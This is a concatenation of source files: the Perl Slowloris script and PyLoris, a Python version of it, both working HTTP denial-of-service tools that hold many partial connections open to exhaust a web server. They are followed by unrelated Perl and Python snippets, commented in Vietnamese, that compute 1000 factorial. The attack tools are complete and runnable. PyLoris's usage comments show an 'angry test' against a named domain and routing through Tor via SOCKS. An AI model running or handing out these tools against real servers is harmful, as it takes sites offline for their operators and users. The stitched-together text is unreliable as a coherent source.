#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally 
takes between 200-500 threads for most servers and assuming any latency at 
all...  you might have trouble using Slowloris against this target.  You can 
tweak the -timeout flag down to less than 10 seconds but it still may not 
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

#!/usr/bin/env python

# A basic test:
# pyloris.py motomastyle.com

# A basic test with encryption
# pyloris.py motomastyle.com --ssl -p 443

# A continuous test:
# pyloris.py motomastyle.com -l

# An angry test:
# pyloris.py motomastyle.com -f -l -k -g "/index.html" -s 500000 -w 0.5 -t 0.5 -r POST -u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.33 Safari/530.5"

# A test through SOCKS5 (ie Vidalia):
# pyloris.py motomastyle.com --socksversion 5 --sockshost 127.0.0.1 --socksport 9050

import optparse, socket, sys, time

# Test to see if SocksiPy (http://socksipy.sourceforge.net) can be found
try:
    import socks
except ImportError:
    HAS_SOCKS = False
else:
    HAS_SOCKS = True

# Test to see if the SSL module is available
try:
    import ssl
except ImportError:
    HAS_SSL = False
else:
    HAS_SSL = True

# Test the Python version
# xrange is removed in Python 3
# thread is _thread in Python 3
if sys.version_info[0] <= 2:
    import thread
else:
    import _thread as thread
    xrange = range

# A nice little generator courtesy of Magnus Therning
def irange():
    while True:
        yield 1

# The main class
class SlowLoris:
    options = None
    threads = 0
    connections = 0

    def __init__(self):
        self.parse_options()
        self.run()

    # Parge command line options and test for errors
    # Also responsible for building the HTTP request
    def parse_options(self):
        parser = optparse.OptionParser(usage = "%prog [options] www.host.com")
        parser.add_option("-a", "--attacks", action = "store", type = "int", dest = "attacks", default = 10, help = "Number of attacks per thread(default = 10)")
        parser.add_option("-c", "--count", action = "store", type = "int", dest = "count", default = 50, help = "Number of threads start (default = 50)")
        parser.add_option("-f", "--finish", action = "store_true", dest = "finish", default = False, help = "Complete each session rather than leave them unfinished (lessens the effectiveness)")
        parser.add_option("-g", "--get", action = "store", type = "string", dest="get", default = '/', help = "Page to request from the server (default = /)")
        parser.add_option("-k", "--keepalive", action = "store_true", dest = "keepalive", default = False, help = "Turn Keep-Alive on")
        parser.add_option("-l", "--loop", action = "store_true", dest = "loop", default = False, help = "Remove thread limit (overrides -c)")
        parser.add_option("-p", "--port", action = "store", type = "int", dest = "port", default = 80, help = "Port to initiate attack on (default = 80)")
        parser.add_option("-q", "--quit", action = "store_true", dest = "quit", default = False, help = "Quit without receiving data from the server (can shorten the duration of the attack)")
        parser.add_option("-r", "--requesttype", action = "store", type = "string", dest = "requesttype", default = 'GET', help = "Request type, GET, HEAD, POST, PUT, DELETE, OPTIONS, or TRACE (default = GET)")
        parser.add_option("-R", "--referer", action = "store", type = "string", dest = "referer", default = '', help = "Set the Referer HTTP header.")
        parser.add_option("-s", "--size", action = "store", type = "int", dest = "size", default = 0, help = "size of data segment to attach in cookie (default = 0)")
        parser.add_option("-t", "--throttle", action = "store", type = "float", dest = "throttle", default = 1, help = "Throttle each request, bytes per second (default = 1)")
        parser.add_option("-u", "--useragent", action = "store", type = "string", dest = "useragent", default = 'pyloris.sf.net', help = "The User-Agent string for connections (defaut = pyloris.sf.net)")
        parser.add_option("-v", "--verbosity", action = "store", type = "int", dest = "verbosity", default = 1, help = "Verbosity level, 0, 1, 2, or 3 (default = 1)")
        parser.add_option("-w", "--wait", action = "store", type = "float", dest = "wait", default = 1, help = "Seconds between starting sessions (default = 1)")
        parser.add_option("-z", "--gzip", action = "store_true", dest = "gzip", default = False, help = "Request compressed data stream")
        parser.add_option("", "--socksversion", action = "store", type = "int", dest = "socksversion", default = 0, help = "SOCKS version number, 4 or 5. Reqires --sockshost and --socksport")
        parser.add_option("", "--sockshost", action = "store", type = "string", dest = "sockshost", default = '127.0.0.1', help = "SOCKS host address (default = 127.0.0.1)")
        parser.add_option("", "--socksport", action = "store", type = "int", dest = "socksport", default = 0, help = "SOCKS port number")
        parser.add_option("", "--socksuser", action = "store", type = "string", dest = "socksuser", default = '', help = "SOCKS username")
        parser.add_option("", "--sockspass", action = "store", type = "string", dest = "sockspass", default = '', help = "SOCKS password")
        parser.add_option("", "--ssl", action = "store_true", dest = "ssl", default = False, help = "Use SSL/TLS connection (for HTTPS testing)")
        (self.options, args) = parser.parse_args()

        sys.stdout.write("PyLoris, a Python implementation of the Slowloris attack (http://ha.ckers.org/slowloris).\r\n")

        if len(args) != 1:
            parser.error("No host supplied.\nUse -h or --help for more information")
            sys.exit(1)

        if self.options.throttle == 0:
            sys.stdout.write("You entered a connection speed of 0, defaulting to 1 B/s")
            self.options.throttletime = 1
        else:
            self.options.throttletime = 1.0 / self.options.throttle

        self.options.requesttype = self.options.requesttype.upper()
        if self.options.requesttype not in ('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'):
            parser.error("Invalid request type.\nUse -h or --help for more information")
            sys.exit(2)

        if self.options.socksversion != 0:
            if not HAS_SOCKS:
                parser.error("SOCKS proxy specified, no library found. Please install SocksiPy (http://socksipy.sourceforge.net)")
                sys.exit(3)
            else:
                sys.stdout.write("SOCKS support provided by SocksiPy (http://socksipy.sourceforge.net)\n")

            if not self.options.socksversion in (4, 5):
                parser.error("Only SOCKS4 and SOCKS5 are supported.")
                sys.exit(4)

            if self.options.socksport == 0:
                parser.error("When using a SOCKS proxy, specify the port number to connect on.")
                sys.exit(5)

            if (self.options.socksuser != '' and self.options.sockspass == '') or (self.options.socksuser == '' and self.options.sockspass != ''):
                parser.error("When authenticating against a SOCKS proxy, please specify both a username and password.")
                sys.exit(6)

            sys.stdout.write("Connecting through SOCKS%i proxy at %s:%i\n" % (self.options.socksversion, self.options.sockshost, self.options.socksport))

        if self.options.ssl and not HAS_SSL:
            parser.error("SSL connection specified, but the SSL module could not be loaded. Quitting.")
            sys.exit(7)

        self.options.host = args[0]

        self.request = "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s" % (self.options.requesttype, self.options.get, self.options.host, self.options.useragent)

        if self.options.keepalive == True:
            self.request = self.request + "\r\nConnection: Keep-Alive"

        if self.options.referer != '':
            self.request = self.request + "\r\nReferer: %s" % (self.options.referer)

        if self.options.gzip == True:
            self.request = self.request + "\r\nAccept-Encoding: gzip"

        if self.options.size > 0:
            self.request = self.request + "\r\nCookie: "
            if self.options.size > 100:
                count = self.options.size / 100
                for i in xrange(int(count)):
                    self.request = self.request + ("data%i=%s " % (i, 'A' * 100))
                self.request = self.request + "data=" + ('A' * 100)
            else:
                self.request = self.request + "data=" + ('A' * self.options.size)

        if self.options.finish == True:
            sys.stdout.write("Specifying the -f or --finish flags can reduce the effectiveness of the test.")
            self.request = self.request + "\r\n\r\n"

        sys.stdout.flush()

    # The main status loop
    def run(self):
        sys.stdout.write(' ' * 59)

        if self.options.loop:
            the_range = irange()
        else:
            the_range = xrange(self.options.count)

        for i in the_range:
            self.create_new_worker()

        while self.threads > 0:
            self.errprint("\b" * 59 + "[STATUS]: % 7i worker threads. % 7i open connections." % (self.threads, self.connections), 0)
            time.sleep(5)

    # Spawn new worker threads
    def create_new_worker(self):
        if self.options.verbosity > 0:
            sys.stdout.write("\b" * 59 + "[STATUS]: % 7i worker threads. % 7i open connections." % (self.threads, self.connections))
            sys.stdout.flush()
        try:
            thread.start_new_thread(self.loris, ())
        except thread.error as ex:
            self.errprint(("\n[THREAD]: %s\n" + " " * 59) % (ex), 2)
            time.sleep(5)
        except: pass
        time.sleep(self.options.wait)

    # Initiate new connections
    # Responsible for SOCKS connections and SSL
    def create_new_connection(self):
        if self.options.socksversion == 0:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        else:
            s = socks.socksocket()

            if self.options.socksversion == 4:
                socksversion = socks.PROXY_TYPE_SOCKS4
            else:
                socksversion = socks.PROXY_TYPE_SOCKS5

            if self.options.socksuser == '':
                s.setproxy(socksversion, self.options.sockshost, self.options.socksport)
            else:
                s.setproxy(socksversion, self.options.sockshost, self.options.socksport, True, self.options.socksuser, self.options.sockspass)

        if self.options.ssl ==  True:
            ssl.wrap_socket(s)

        s.connect((self.options.host, self.options.port))
        return s

    # The main attack method, called once per thread
    def loris(self):
        self.threads = self.threads + 1
        sock = []
        constat = []
        byteinc = 1

        for i in xrange(self.options.attacks):
            try:
                sock.insert(0, self.create_new_connection())
                self.connections += 1
                constat.insert(0, 1)
            except socket.error as ex:
                constat.insert(0, 0)
                self.errprint("\n[CONNECT]: %s\n" % (ex), 1)
            except: pass

            for j in xrange(len(sock)):
                try:
                    if j < len(self.request) and constat[j] == 1:
                        sock[j].send(self.request[j].encode())
                except socket.error as ex:
                    self.connections -= 1
                    constat[j] = 0
                    self.errprint("\n[SEND]: %s\n" % (ex), 1)
                except: pass

            time.sleep(self.options.throttletime)

        while byteinc < len(self.request) and sum(constat) > 0:
            for i in xrange(len(sock)):
                if byteinc + i < len(self.request) and constat[i] == 1:
                    try:
                        sock[i].send(self.request[byteinc + i].encode())
                    except socket.error as ex:
                        self.connections -= 1
                        constat[i] = 0
                        self.errprint("\n[SEND]: %s\n" % (ex), 1)
                    except: pass
            time.sleep(self.options.throttletime)
            byteinc = byteinc + 1

        if self.options.quit:
            for i in xrange(len(sock)):
                if constat[i] == 1:
                    try:
                        sock[i].close()
                    except: pass
        else:
            for i in xrange(len(sock)):
                if constat[i] == 1:
                    try:
                        data = sock[i].recv(1024)
                        while len(data):
                            data = sock[i].recv(1024)
                        sock[i].close()
                        self.connections -= 1
                        constat[i] = 0
                    except socket.error as ex:
                        self.connections -= 1
                        constat[i] = 0
                        self.errprint("\n[RECEIVE]: %s\n" % (ex), 1)
                    except: pass

        self.connections -= sum(constat)
        self.threads -= 1
        return

    # Error reporting, based on --verbosity level
    def errprint(self, s, verbosity = -1):
        if self.options.verbosity > verbosity:
            sys.stderr.write(s)
            sys.stderr.flush()

if __name__ == "__main__":
    SlowLoris()

f = 2
for i in xrange(3, 1001):
    f = f * i
# f là giá trị cần tìm

use bigint;
$x = 2;
for($y=3;$y<=1000;$y++){
        $x=$x*$y;
}
print $x;

use bigint;
$n = 1;
$n *= $_ for 2..1000;
# $n là giá trị cần tìm

use bigint;
sub f {
    $_[0]>1?$_[0]*f($_[0]-1):1;
}
# f(1000) là gía trị cần tìm